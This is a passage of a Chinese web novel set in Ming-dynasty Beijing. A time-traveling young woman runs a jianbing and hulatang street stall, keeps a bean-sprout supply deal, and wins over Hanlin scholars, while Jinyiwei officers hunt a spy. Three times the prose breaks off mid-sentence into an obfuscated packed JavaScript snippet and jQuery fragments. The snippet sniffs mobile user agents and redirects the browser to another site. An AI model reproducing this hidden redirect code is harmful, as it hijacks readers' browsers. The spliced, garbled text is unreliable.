生菜卷的果子更像是烤肉，在饼铛上煎过的猪肉柳，时间久了，外皮变得焦香酥脆，内里肉汁却仍丰盈，趁热用冰凉脆嫩的生菜叶一裹，一口下去，拉起纤细的肉丝。 王大吃的连道谢都忘记了，待最后一点豆芽下肚，他才意犹未尽地舔舔手指，由衷赞道：“我觉得你们卖煎饼果子更好！” 这话说得真心实意，姜家兄妹身上有种特别的气质，尤其是姜至喜，即便遇到薛三那样的恶意逼迫也始终从容不迫，总让人觉得她做什么都会成功。 姜至喜笑了笑，坦然接受赞扬。 因为她也这么认为。 姜至喜不是个傲慢的人，但良好的教育赋予了她骨子里的从容自信，那股由内而外的笃定气质，才让王大不自觉地信服。 方才笼统计算了下，今日准备的一盆面糊全部做成了煎饼果子，共计四十五个。 其中普通款煎饼果子卖出去十五个，加豆芽的卖出去五个，倒是加里脊肉的卖出去二十五个，进账三百二十五文。 煎饼果子的成本比黄豆芽高，但也没有高多少。 首先葱花等配菜都是姜至喜自己菜园里生长的，肉价贵，但她用在兰州拉面师傅那儿进修的手艺，把里脊肉切得薄如蝉翼，别看乘着一大筐，实际只有二斤肉。 此外还有油盐酱料，用来热饼铛的石炭，从解家胡同的王二麻子那儿买的油炸桧。 最贵的大概就是那份用来“润笔”的便宜笔墨，饶是如此，也有一百五十文的利润！ 而且这只是一早上，对比四日才能卖一次的豆芽菜，姜至喜忍不住感慨，果然自古以来，小食摊都是闷声发财的生意！ 这让她更加坚定了摆摊的想法。 简单垫饱肚子，卖完东西的兄妹二人收摊回家。 抽掉木板，用水浇灭了小炉子的火。 面盆和陶罐和竹篮就更为方便了，直接往大筐里一摞，姜洪弯腰握住独轮车的把手，轻轻一抬，小食摊秒变独轮车。 天色大亮，街上的热闹程度更胜一筹，兄妹二人不急于赶路，便推着车缓步前行。 心情不错的姜至喜甚至有空闲留心观察京师的人文景致。 或许是为了方便规划，内城的建筑多是青瓦白墙，乍然一看整齐又干净。 临街的铺面门脸不大，门板皆可拆卸，内里却别有洞天。 期间，她注意到其中一座特殊的房子。 只见那铺子的屋顶一侧竖着一个砖砌的大烟囱，冒着袅袅白烟，门口各色人进进出出。两侧悬挂着一个醒目的红灯笼和一只大木壶，大白天的，灯笼并未点亮，在北风中摇摇晃荡。 这般装饰，难道是间汤饮铺子？ 直到她看见几个从里面出来的人，脸色红彤彤水润润，走到“茶水”摊前买姜茶，才恍然大悟。 原来是古代的澡堂啊！ 姜至喜不由想起自己的“去虱”梦想，暗自把地方记下，计划着下次带家里人过来。 行至二条胡同，她停下脚步：“大哥，你先去买明日需要的食材，对了，再买点儿干木耳，花椒和胡椒粉。” 她记得后两样在古代可不便宜，所以只要了一点点。 姜洪性子虽直，但有个好处就是从不干预妹妹的决定。他一一记下要买的东西，又特意复述了一遍确保无误：“喜姐儿可是要做吃的？” 姜至喜点点头。 原是今日摆摊，她见许多食客都是买了之后直接在路上吃，煎饼果子虽结实打饱，但却是实打实干粮，噎住反而不美妙，或许可以搭配一些汤水。 喜姐儿手艺好，今日的煎饼果子更是卖出去不少，姜洪对她自是信服的。 只是他实在好奇：什么吃食需要用到花椒和胡椒粉？ 胡椒他没见过，但花椒却是知道的，那东西麻嘴得很哩！ 喜姐儿莫不是说错了？ / 对于姜洪的疑惑，姜至喜并没有解释。 因为她也不知道要如何解释，自己会做河南那边的民间小吃，胡辣汤。 索性含混过去，毕竟船到桥头自然直。 而选择做胡辣汤，也是姜至喜仔细挑选的结果。 无论是开通了丝绸之路的汉代还是海运发达的明代，胡椒作为外来物种，价格都非常昂贵，她虽然不是历史专业，可谁让她有个史同闺蜜呢？ 起早贪黑的和她八卦明代大佬们的八卦，什么朱重八钩子文学，什么大明第一魅魔张居正。 还有：震惊，木匠大师竟是弟控？不爱朝政爱打仗，且看中国史上第一个不让吃猪的皇帝！ 姜至喜：“……” 我文化低别骗我。 闺蜜：“这我可没骗你，这位武宗一生不羁爱自由，据史料记载，武宗为了学习外语，趁杨廷和回家为父守孝，居然跑到居庸关打仗，对了，杨廷和你知道吗，武宗的相好，两人还有一个孩子叫杨慎……” 到后面，电话那头传来闺蜜亢奋的尖叫：“啊啊啊好想穿回明代，亲眼见证这些大佬的爱恨情仇！” 结果闺蜜没穿，反倒是姜至喜穿到了明代。 不过以她现在的身份，别说验证这位猪猪皇帝是否真的会外语，便是两人见一面都无可能。 好在闺蜜那些“学杂了”的历史知识中，挑挑拣拣，还是能够挑出些有用的东西。 譬如姜至喜就知道，明朝曾用胡椒、苏木折抵俸禄，甚至规定“胡椒每斤准钞一百贯，苏木每斤准钞五十贯，南北二京官各于南北京库支给”。 可想而知胡椒有多么昂贵。 这种情况下，胡辣汤能在河南流行，甚至一度成为百姓的日常选择，难道说明河南的人比京师有钱？ 或许有这方面原因，但最真实的原因是，明朝的胡辣汤里根本没有多少胡椒！ 咳，和老婆饼里没有老婆，夫妻肺片不是真夫妻似的，明朝做的胡辣汤，以生姜打底，花椒增味，茱萸辅助，最后再用胡椒点睛。 依靠朴实的本土食材做出“辛辣”味道，用少量胡椒粉提升口味，极大契合了普通百姓的消费能力，如此才能在民间流行起来。 姜至喜准备做的就是这种“删减版本”的胡辣汤。 不过做汤之前，还有另外一件事情需要处理。 循着路人指点，姜至喜和姜洪分开后，一路找到了徐掌柜的食肆。 这间开在安定门胡同里的食肆，虽不在主街，但因靠近城门，来往人流量大，生意很是红火。 之前都是姜洪过来送货，姜至喜还是第一次过来。 铺子面积不大，摆着七八张木质桌椅，椅面铺着粗布垫子，显露出几分舒适的朴实。 这会儿时辰未及午时，生意不算温火，只靠窗的位置坐着三两食客，姜至喜打眼一瞧，桌子上是一碟炒肝和豆腐豆芽。 看来是个小炒食肆。 有小二迎上来，热情问：“客官吃点什么？” 姜至喜收回视线：“我找你们掌柜有些事。” 小二：“那您在会儿稍等。” 没一会儿，徐掌柜从食肆后面出来，看到姜至喜后还有些诧异：“姜小娘子怎么过来，今日好像还不到送黄豆芽的时日。” 姜至喜顿了顿，有些不知该如何开口。 她理了理思绪，而后将之前签订的纸契拿出来，又把薛三找茬、自家放弃豆芽菜生意转卖吃食、并促销“送赠品”的事情一一说来。 末了道歉：“此事原是我们单方面违了约，之前送来的豆芽菜您尽管收下，我们分文不要，还有这个，是发豆芽的方子，也一并送给您，权当赔罪了。” 其实她大可以佯装不知，毕竟隔着两条街，徐掌柜未必知晓大都角头的事情。可思来想去，她还是选择了坦诚相告。 人活一世，有所为有所不为。但求问心无愧罢了。 哪料徐掌柜并没伸手有接，而是在听到她的解释后大笑起来。 “我还以为是何事，实话不瞒你说，这发豆芽的法子我年轻时候就见过，自家也曾发过。” 闻言，姜至喜怔住：“那您为何……”说到一半，她突然反应过来，暗骂自己陷入思维误区，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991813|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些蠢了。 会做不代表要做，比如她会炸油条，会做豆腐，但仍然选择从外面买一样。 时间成本、人工成本，哪一样不要算计？自家开火费时费力，算下来反倒不如买现成的划算。 这时候，食肆进来了新的食客：“掌柜的，照例来盘炒豆芽！你们这儿的豆芽格外脆嫩，别处可吃不着这滋味。” 徐掌柜笑着与对方聊了几句，回过头对姜至喜道：“多亏你家的豆芽，我这食肆的生意都红火了不少，所以我想着，以后继续合作才是。” 直到姜至喜回到家，神情还有些恍惚。 今日走了一遭，豆芽菜的生意不仅没有丢，徐掌柜反而还额外多订了十斤！ 这样算来便是三十斤，每隔四天送一次，价钱比零售要低一文，但胜在稳定，积少成多，也是一项持久的收入！ 她把这个消息告诉姜洪和珍姐儿，两人听了都喜出望外。 如今发豆芽的活计基本都是姜洪和珍姐儿在做，在此之前，他们从未想过自己能挣到钱！ 就连现在，也总觉得像做梦似的。 可等姜至喜要把钱分给二人，姜洪和珍姐儿又死活不肯收。 “一家人不说两家话，这钱就该放在一处使。”姜洪平时很好说话，眼下却犟得像头牛。 姜至喜哭笑不得：“这本就是你们该得的份例。” 姜洪坚决摇头：“胡说什么，搭把手的事儿，难道生豆芽的法子不是你琢磨出来的？要不然咱家还喝着西北风呢！” 珍姐儿也连连点头，直接把桌上的铜钱推到姜至喜面前：“二姐，我的也全给你！” 姜至喜有些无奈：“你们确定不要？” “不要不要！”珍姐儿把头摇得像拨浪鼓，过了会儿，又眨了眨眼睛，颇为扭捏地小声问，“不过……二姐能不能给我留两文钱？” 回应她的，是姜至喜大方给每人分了二十文！ 珍姐儿还小，这个年纪的孩子爱吃爱美，同龄人有的小玩意儿，没道理只让她在旁边干看着。 而姜洪虽是大哥，但平日需要在卫所当差，同僚往来、添置物件，处处都需要钱。 姜至喜秉持着不偏不倚，每个人都分了一部分钱。最后当着两人的面，把剩下的钱则一分为三，藏在床下的老鼠洞里。 “有福同享，有难同当，往后谁缺钱了，就从这个‘小金库’里支，不过只能花自己的那部分。” 不要是一回事，她却不会据为己有，能者多劳，就当自己先替两人保管吧。 想起什么，姜至喜又额外数出三十文给珍姐儿：“你拿着布和棉花去林婶家，问林婶能不能帮我们做条棉被。” 珍姐儿点了点头，正好听着外面传来货郎的叫卖声，顿时欢呼一声，高高兴兴出了门。 与此同时，安定门卫所迎来了两个不速之客。 “这可是你们卫所流出去的豆芽菜？” 程磊从怀中取出一个布包，随手扔到地上。 林总旗只是个总旗，被同知大人匆匆叫来，本就心中忐忑，待看清布包里的东西时，冷汗霎时淌下来。 他还以为是姜家孩子卖菜的事发了，以至于没有注意到身旁薛总旗的异样。 扑腾一声跪倒在地：“大人明鉴，那姜家月前父母双亡，只剩几个孩子相依为命，生活困苦，实是活不下去才想了这么个法子换点口粮！” 闻言，同知脸色铁黑。 底下军户生活不下去，偷偷做点小买卖补贴家用的不少，平日也都是睁一只眼闭一只眼，但现在锦衣卫都找上门了，事情就非同小可。 好在只是几个毛头孩子，同知心下飞快盘算，正想着如何撇清干系，冷不丁听到另外一位更为年轻的锦衣卫声音：“姓姜？不是姓薛？” 扑腾，这下薛总旗也跪下了。 同知：“……” 从卫所出来，程磊便叨叨絮絮：“那林总旗倒有点儿真情，姓薛的看着并未说实话，他侄子偷卖豆芽菜一事，他必定知晓。” 沈秀指尖捻着一枚松子糖，随意抛接着，对他的话不置可否。 “不过他应该和探子无关，接下来要不要去那个姜家看看？ 沈秀依旧没吭声。 程磊无语，忍不住捅了他一下：“现下又无旁人，你小子别在这儿故弄玄虚，到底怎么想？” 松子糖“啪”一声落入掌心，沈秀终于把糖塞进嘴里，一脸“你是榆木脑袋吗”的鄙夷：“那探子既买豆芽菜，显然是个会自己开火做饭的，还得有点闲钱，蹲在卫所能查出什么？明日一早，去坊市口蹲着。” 程磊恍然大悟：“有道理！” 怪不得头儿让自己带着这小子，聪明是真聪明，就是那副爱答不理、看傻子似的眼神，有时候真让人牙痒痒。 想到这里，程磊一把搂过沈秀的肩膀：“那明日沈小公子再陪我走一趟呗，到时候哥哥去请你去吃酒。” 沈秀被他搂得别扭，肩膀一抖甩开他的手，板着脸吐出三个字：“聚欢楼。” 程磊嘴角一抽，暗骂这小子真会挑地方，那可是京师数一数二的大酒楼。 嘴上应承着“行行行”，心里却已经开始肉痛。关键还不能用其他糊弄，谁让沈秀长了一张饕餮嘴呢。 15. 第 15 章 第15章 另一边，姜至喜不知道自己险些被锦衣卫盯上。 珍姐儿一走，炕上的小妹就醒了，哼哼唧唧哭着找人。 姜至喜不得上前将孩子抱起来，刚搂进怀里，一阵恶臭便扑面而来。 她表情一僵，意识到那是什么，只觉得头皮发麻，浑身汗毛立了起来。恰好姜洪走进来，姜至喜如见救星，动作迅速地把小妹交到对方怀里，自己一扭头钻进了厨房。 “那个，我去准备晌饭！” 比起养小孩，还是下厨更适合她！ 姜洪：“……” 在灶台前站定，姜至喜深深呼吸了会儿新鲜空气，确定没有半分异味，这才看向案板。 上面放着买回来的食材，两袋黄豆、一袋小麦、半篮子干木耳、两颗菘菜、两根赤根，这些堆起来像小山似的粮食冬菜，拢共也没花去多少银钱。 倒是那两小包花椒和胡椒，金贵得吓人，尤其是胡椒，一捻儿便要赶上菜蔬的价。 姜至喜后悔不已，早知道胡椒这么贵，她应该在菜园里种点儿胡椒树，何必像现在似的，用汤匙刮了小半匙还得心疼地抖三抖。 显然，这点儿东西想做出浓烈的辛辣味是不行的。 于是她拿起刀，“咄咄咄”将几片老姜、小把茱萸、十几粒花椒并两瓣蒜，利落地剁成碎末，和胡椒混在一起，颜色是五彩缤纷。再加入盐葱酱油香油等调料，做成“家庭版”辛辣汤底。 所谓“家庭版”，还是姜至喜跟着奶奶学的。 姜奶奶是个奇女子，她并非本地人，而是早年从河南逃荒来的“流民”，颠沛流离中遇上了姜爷爷，两人互相看对眼，这才在姜至喜老家扎根安定下来。 记忆中，姜至喜从小就吃过很多河南菜。烩面、胡辣汤、菜莽、炸八块、三不沾。 而胡辣汤是她最偏爱的。 冬日清晨，捧着一碗奶奶熬的汤，辛辣粘稠的汤汁滑下喉咙，一股暖意从胃里升腾起来，瞬间驱散周身寒气，别提有多舒服了！ 对于这道菜的做法，姜奶奶也极其随性，用她的说法是：“穷人家哪里讲究那么多，家里有什么就放什么，只要能吃饱比什么都重要。” 姜至喜觉得很有道理。姜家现在的情况，可不就是有什么吃什么吗？ 她依着记忆，先把干木耳泡发，干瘪的枯黑菌菇干，吸饱了水后，变成滑溜饱满的“黑胖子”，菘菜和萝卜切成细条，再洗点儿新鲜的黄豆芽。 得益于这豆芽生意，如今姜家虽不宽裕，但豆芽总算是不缺了，兄妹几个的脸色也渐渐有了些活泛气。 姜至喜打开粮食桶上的盖子，从里面舀了一勺白面活成团，找一快衬布盖上发醒。趁着这个空档，她又开始张罗明日出摊要用的各样食材。 有了经验，这次速度快了许多，不到两刻钟便备好。 大门打开，珍姐儿蹦蹦跳跳从外面回来，手上拿了一串糖葫芦。 “二姐，林婶说这几天就能把被子缝好。” 时下做一床棉被需要六七日，眼看要到冬三九，陈氏记挂几个孩子，便想着夜里赶个工。 姜至喜心里清楚这一点，她点点头，记下了这个恩情，想着日后定要从别处找补回来。 人情便是如此，有来有往，关系才能维持下去。 “二姐你回头。” 倏然，一个冰凉圆润的东西轻轻触及双唇。 珍姐儿举着糖葫芦，小脸笑嘻嘻的：“一根糖葫芦有六颗山楂，我特意从货郎那儿挑了最大的一个，二姐大哥一人分两颗。” 姜至喜一愣，原来珍姐儿要钱并不是嘴馋，而是想要和家人分享。 心底某个柔软的地方被这猝不及防撞了一下，她张开嘴，薄薄的透明糖衣随着咔嚓声一下碎开。 牙齿先触及到山楂，这种艳红带着斑点的果子，天生具有欺骗性，一口下去，酸味席来，激得姜至喜舌根儿瞬间冒出津液，腮帮子跟着一紧。 不过很快，咬碎的糖衣在口中融化，甜味弥散，削弱了那份酸，连带着山楂都粘上了蜜味，酸甜可口。 姜至喜禁不住咔咔嚼起来，她从小吃硬糖之类的零食，都喜欢咬碎了吃。山楂果子软硬适中，口感有种沙沙感，糖渣混着果肉，咀嚼起来是一种嘎嘣脆的绵软。 最妙的是混着果肉纤维的细小颗粒感，摩擦着舌尖，酸甜的汁水顺着喉咙往下走，生津开胃。 咽下果肉，她笑道：“我也做了个新鲜吃食，等会儿珍姐儿帮我尝尝味道如何？” 珍姐儿早就期待着了，迫不及待点头：“那我来帮二姐烧火。” 说罢蹲到灶台口，熟练地用脚踩断树枝，往下一蹬，咔嚓，伴随着火苗爆裂的动静，续到炉子里。 见小姑娘这般积极，姜至喜没有拒绝。 她自个儿继续去做胡辣汤。 面已经醒好了，往盆里加入清水，清澈的水淹没面团，仿佛盖了一层柔纱。接着，她伸出双手探入水中，居然像揉洗衣裳似的揉搓起面团。 这一举动看得珍姐儿眼睛都瞪圆了，随着姜至喜的动作，面团服服帖帖在掌间滑动、变形，发出细微的咕唧声。 她下意识屏住呼吸，一眨不眨地盯着二姐的手，仿佛在看什么戏法。 很快，清水在揉搓下渐渐变成乳白色的浆汁，再看不见盆底，原先的面团则洗的软塌黏糊，表面布满了细密的蜂窝眼儿。 姜至喜解释：“这一步叫洗面，目的是为了洗出面团中的淀粉，不要小瞧淀粉水，等会儿可是有大用呢。” 抽出一条襻膊，利落地绕过颈后，两端各套住腕子向上一拉，衣袖便听话地提至肘间，露出两条纤细小臂。 姜至喜端起之间切好的配菜，囫囵着倒进锅里，沸腾煮开后，再缓缓淋入先前备好的淀粉水，一边搅一边淋，肉眼可见的，锅里的汤汁变得晶莹浓稠起来。 等到倒料汁时，她看到碗里的面筋，突然一拍脑袋。 竟然把这东西给忘记了！ 连忙捞出面筋，用手指扯成薄片，一点点下入锅中，过程中不断用筷子转圈儿搅拌，布满蜂窝的面筋像小鱼似的在水里游动，差不多十多个数，一锅辛辣粘稠的胡辣汤便做好了。 这道简单到珍姐儿都会做的菜，再次受到了姜家兄妹的喜爱，于是第二日摆摊，除了两盆面糊，姜至喜还多备下了一大桶胡辣汤。 前几日出摊都是姜洪一起照看，眼看生意步入正轨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991814|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，今天到达地方后，姜至喜干脆让对方去忙卫所的事情。 她独自一人收拾摊位，刚把饼铛支稳，便觉光影一暗，已有食客停在了摊前。 陈述呼吸略显急促，发髻与眉梢凝着一层未化的白霜，显然是疾步赶来。 他稍稍平复了气息，这才拢了拢衣袖，温声道：“劳烦小娘子，与在下两个加里脊的煎饼果子。” 今日不需上朝，陈述原是可以晚些出门。 只因昨日散值归家，他心中惦念着煎饼果子的滋味，和小娘子堪称“义举”的行为，特意绕路想来再买上一份，谁知赶到大都角头时只看见街角空荡荡的，煎饼摊早没了踪影。 还是旁边豆腐摊的商贩告诉他，那煎饼果子生意火得很，摊主一早就卖完收摊回去了。 生怕再度错过，这位年轻编修索性起了个大早，踏着晨露匆匆赶来。 姜至喜也认出了眼前这位青年。 昨日对方过来时，双眉紧蹙，面色凝重，盯着饼铛的模样活像在看杀父仇人，让她心里好一阵嘀咕，生怕是来找茬的。 不过一日之隔，青年再度出现，这次一开口就要两个煎饼果子。 姜至喜心中暗自高兴，没有什么比虏获食客的心更让人开心的，她快速做了两个豆面夹里脊的煎饼果子，又舀了一碗胡辣汤一齐递过去：“今日推出新品，这碗胡辣汤免费赠与相公。” 陈述未曾想还有这般际遇。 他对胡辣汤不感兴趣，但小娘子的一番好意实在不忍推拒，便也礼貌地道了谢，将那碗胡辣汤倒进自己的锡壶中。 后面煎饼果子摊的人越来越多，忙时竟排起队伍，看到这番情形，早早过来的陈述免不得庆幸又自得。 他可是今日头一个买到的！ 收好热腾腾的煎饼果子，陈述拦住路边的轿夫，径直朝着翰林院而去。 / 卯时初，京师各处府邸陆续敞开门房。 位于东长安街的翰林院也不例外，“门子”推开沉重的朱漆大门，洒扫庭院，点亮灯烛。 不过片刻，便有官员们陆陆续续抵达，彼此拱手作揖，寒暄几句，然后各自步入廨署处理公务。 都说状元是文曲星下凡，身份尊贵，前途无量，可在这翰林院里，最不稀罕的就是状元，那话怎么说来着？随便扔颗石子，砸中的都是状元探花！ 陈述作为二甲进士，在人才济济的翰林院中，实在不算起眼。 加之他资历尚浅，性子低调老实，平日里只会安安静静待在自己的位置上做事，像一株莠草似的毫不惹人注意。 可今儿一进翰林院，陈述就隐隐觉得有些不对劲。 往常同僚们见了他，顶多点头致意，今日却有好几道目光在他身上多停留了片刻，带着点儿说不清道不明的意味，每每等他回视过去，对方又若无其事移开。 他心里打了个突，忙低头查看自己的袍服鞋帽，并未发现有何不妥，只得按下心中疑虑，快步走到自己的位置坐下。 翰林院辰时上值，这会儿未到正式办公的时辰，廨署中同僚三三两两聚在一处，或闲谈说笑，或是吃着带来的早膳。 陈述静坐片刻，也伸手打开了自己的食盒。 16. 第 16 章 第16章 时下食盒多为漆盒，保温效果极佳，打开后，左边放着他买的煎饼果子。 右边则放着摊主赠送的胡辣汤，热气腾腾，闻着味道比煎饼果子更要浓烈。 但陈述犹豫片刻，还是先拿起了煎饼果子。 他这人性子保守，不喜尝试新东西，煎饼果子很是符合他的口味。 拿着油纸慢慢咀嚼，同样的东西，每吃每有新味。酱汁涂满煎饼，佐料挤着佐料，满满的一大口，便争先恐后往嘴里跑。 猪柳软嫩、鲜香，果篦儿酥脆、油润，菜蔬更是水嫩多汁，不是往常的草味，清爽之外，又有明显的回甘。 吃的陈述开始怀疑自己以前怎么没发现叶子菜这么好吃。 怕吃不饱，陈述这次买的煎饼果子里额外加了两根油炸桧。 这东西也是刚炸的，单闻味道油香十足，只不过太油腻，吃多了嗓子眼都要糊住了。 所以陈述平日很少吃。 可当它被裹进煎饼果子里，一切都不同了。 热腾腾的煎饼让油炸桧逐渐“软化”，边缘保持微脆，内里却已经熏软，蓬松的气泡吸饱了酱汁，变得韧软而有嚼劲。 大口大口吞咽，哪里还有油腻感？反而是吸收了酱料的味道，与豆面香相互衬托，口感无比丰富。 两个煎饼下去，陈述腹中有了饱腹感，只是嘴里难免干涩。 他的目光不由落向那碗胡辣汤，犹豫片刻，还是端起来小心地抿了一口。 刚入口，一股强烈的辛辣便直冲喉头，陈述毫无防备下，被呛得连连咳嗽，连眼角都泛了泪。 嘿！ 那商贩小娘子做的汤，也忒辛了吧！ 心里念念叨叨，虽如此，陈述却并未放下，方才那一下子被呛得厉害，但尝到的滋味却着实特别，是他从未吃过的味道。 他定了定神，再次端起碗。 这次有了准备，陈述没有再被呛到，胡辣汤汤底棕黄，因加了淀粉水，只看外表，浓稠如浆，随着动作微微晃动时，汤水沾到碗壁，而后缓缓挂壁。 可这样其貌不扬的汤，入口却是惊为天人。 随着滚热的稠液滑下喉咙，霎那间，陈述仿佛尝出了百种滋味。 胡椒的辛，茱萸的辣，花椒的麻，淀粉的稠，齐齐扑面而来，四者在舌尖纠缠，融合，最后彼此衬托，不仅不突兀，反而让汤酸香鲜醇，厚润绵长。 胡椒开道，待冲劲的辛辣散去后，便是各种香料的回甘，陈述一边喝汤，一边吃菜，里面配菜也极其丰盛，简单一瞧，便有菘菜、萝卜、木耳、豆芽。 菘菜吸饱了汤汁，鲜美油亮，咀嚼起来软烂但不散。萝卜水分多，炖得透了心，牙齿一咬，汁水便“噗嗤”涌出来。 木耳切成细条，黑黢黢混在汤中，瞧着不起眼，吃起来倒是咯吱脆生。还有那豆芽，一芽两吃，黄豆粒酥烂粉糯，细嫩的银芽挺着脆骨，吃起来也脆，水灵灵的清甜。 此外，还有一种奇怪的片状面食，蜂窝似的蓬松，里里外外吸满了汤汁，滑嫩到舌尖一碰，就“出溜”逃走，竟成为陈述最喜欢的东西。 生姜和茱萸激起辣味，间以花椒胡椒生麻，本就是性温热的调料，炖进一锅汤里，一股暖流自喉间涌向四肢百骸，将浑身寒意驱散殆尽。 陈述哪里还记得一开始的嫌弃，喝的酣畅淋漓，惊喜不已。 没想到一个街边小食摊居然能做出如此美食，不由庆幸自己没有拒绝，一时间吃得更加津津有味，全然没有注意到周围情况。 直到一个温和的声音在旁边响起：“陈编修今日雅兴，带了这般香的吃食来。” 陈述抬眸，看到来人后，连忙站起身，拱手行礼：“费大人。” 来人是翰林院修撰费宏，成化二十三年的状元，前段时间因校阅试卷积劳成疾，告假归乡调养，如今官复原职，是同僚中的佼佼者，陈述一向敬重他。 费宏看着他桌上的食盒，目光在那碗胡辣汤上停了停，笑道：“这汤闻着倒是特别。” 陈述有些拘谨，听费宏问起，慌乱之下居然把汤往对方那边推了推，脱口而出：“费大人若是不嫌弃可以尝尝。” 话出口他就后悔了。 本是出于尊敬，没指望费宏真会喝，毕竟费宏的身份摆在那儿。 可万万没想到，费宏竟点了点头，笑着说：“好啊，看着确实不错。” “？” 天天个老爷，什么叫搬起石头砸自己的脚？ 哪怕心中悔恨不已，陈述也不得不找了个干净的小碗，小心翼翼地分了一半胡辣汤给费宏。 费宏接过碗，并没讲究，直接当着对方的面喝起来。 比起陈述，显然他是个能吃辣的，胡辣汤的辣口对他来说正对滋味，通透不烧胃。 咸味拖底，茱萸姜片带来醇厚的辛辣，花椒负责提味点睛，于是舌尖只有微微麻意，不至于失去知觉。 几口下去，鼻尖先泛起细密的汗意，而后呼吸变得暖烘烘。浓稠的汤羹挂着勺壁，裹着每一粒蔬菜不肯撒手。 恍惚间，费宏忽而想起少年时负笈游学的场景。 大雪凛冽，他与同行几人被困于荒郊驿亭，双脚冻得早已失去知觉，他出身世家，却第一次感受到百姓之苦楚。 那时瑟缩在快要熄灭的火堆旁，心中最炽热的渴盼，不过是有一碗能烫透肺腑的热汤。 若是天下老百姓人人手中都有一碗这样的热汤，该多好。 恍惚过后，费宏回过神，低头看向碗中。 虽然是汤，但其中的配菜可不少，木耳是脆爽的，豆芽带着点清甜，面筋则吸足了汤汁，嚼起来韧劲十足又饱满湿润，明明是普通到不能再普通的食材，却让人吃了还想吃。 若非周围还有其他人，费宏连最后一滴汤都想舔干净。 他不舍地放下碗，由衷赞叹：“这胡辣汤味道确实好。” 又看向陈述，询问道：“此羹可是陈兄所制？” 陈述摇摇头，他哪里有这般本事，刚要开口回答，突然听见廨署的门“吱呀”一声惨叫、转头一看，竟是几位同僚你推我挤，一不小心摔倒在地，被发现后，一个个面露窘色。 “……咳，那个，我们其实也想问问，这汤是哪儿买的。” “呵呵，没错，实在是闻着太香了。” 陈述：“……” 青年翰林面色变得古怪。 他从前只当这些同僚个个清冷自持、不重口腹之欲，如今却见他们为了一碗胡辣汤如此失态，莫名的，心中的紧张感不知不觉中消散许多。 他压下嘴角的弧度，一本正经回答：“这是安定门大街的一个小食摊，摊主是位小娘子，除了胡辣汤，她做的煎饼果子也特别好吃。” / 大都角头。 除了最初食客多的时候，姜至喜有些忙乱，后面过了最热闹的时辰，她逐渐适应节奏，一个人也游刃有余。 摊煎饼，收钱，净手，再摊煎饼。 邻摊的王大对她每做完一饼便要净手的习惯很是费解，只觉得这小娘子忒讲究。 直到瞧见顺天府衙的衙役特意巡至她的摊前，买了饼子不说，还称赞她这洁净做派。 “……” 默默把吐槽的话咽回去，暗下决心明日也得备上点儿油纸，做不到次次净手，用油纸垫着给客人切豆腐也是好的。 姜至喜并未意识到，自己不知不觉间已成了这条街上的风向标。 看到五六个衙役朝摊子走来，她从对面的汤饼铺子里借了两条长木凳置于摊子旁边，勉强作为歇息的地。 随即落落大方地迎上前招呼：“几位差爷辛苦！今日吃点什么？” 笑意可谓百分百真诚。 俗话说“县官不如现管”，这些衙役职位虽不高，可在这市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991815|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井街巷中，说话做事却比县太爷还顶用，先前薛三那桩事，便是明证。 姜至喜打定主意抱大腿，在摊完煎饼果子后，又每人赠送一碗新品胡辣汤。 一大桶胡辣汤，用料三斤配菜，能盛出五十多碗，即便每碗只售三文，刨去本钱，也净赚百来文。 最关键的是，不像煎饼果子似的费力气。 姜至喜心中快速盘算，五位衙役便是十五文钱，于如今的她而言，完全可以承担。 衙役的俸禄不算高，白送的东西自然不会拒绝。 本以为是普通汤水，毕竟瞧着颜色深，像极了农家的粗茶淡汤，大家并没抱多大期望。有人甚至暗暗吸气，一副视死如归的模样仰头灌下—— “唔！” 同僚看不下去，笑骂：“别卖憨。” 那衙役喉结滚动，好不容易咽下去，闻言翻了个白眼：“谁卖憨！我是说好喝，太好喝了！” 汤体稠厚顺滑，轻轻吸溜便顺着喉咙滑下，调料的辛香刺激着舌尖，随后在口中层层散开。 和食肆中薄到透明的鸡蛋汤不同，姜记煎饼果子的小娘子实在厚道，胡辣汤里面放满了配菜，打眼一瞧就有四五种，一碗下肚，踏实顶饱。 衙役眼珠子转了转，计上心来：“你要不喝，我不介意帮你解决。” “滚滚滚！” 同僚赶紧端着碗躲开。 他还不信了，就算是x，他今日也要亲自尝尝咸淡！ 然后——“小娘子，再来一碗！” 姜至喜用一碗赠品打开了胡辣汤的生意，接下来陆续收到了五六份定钱。 晏几身为古代版富二代，见识比旁人广博些：“这是河南布政使司那边的吃食吧，你会做豫菜？” 姜至喜抿嘴一笑：“算不得精通，只是略懂一些皮毛。” 晏几闻言，倒是来了兴致：“那你可还会做其他地方的风味？” 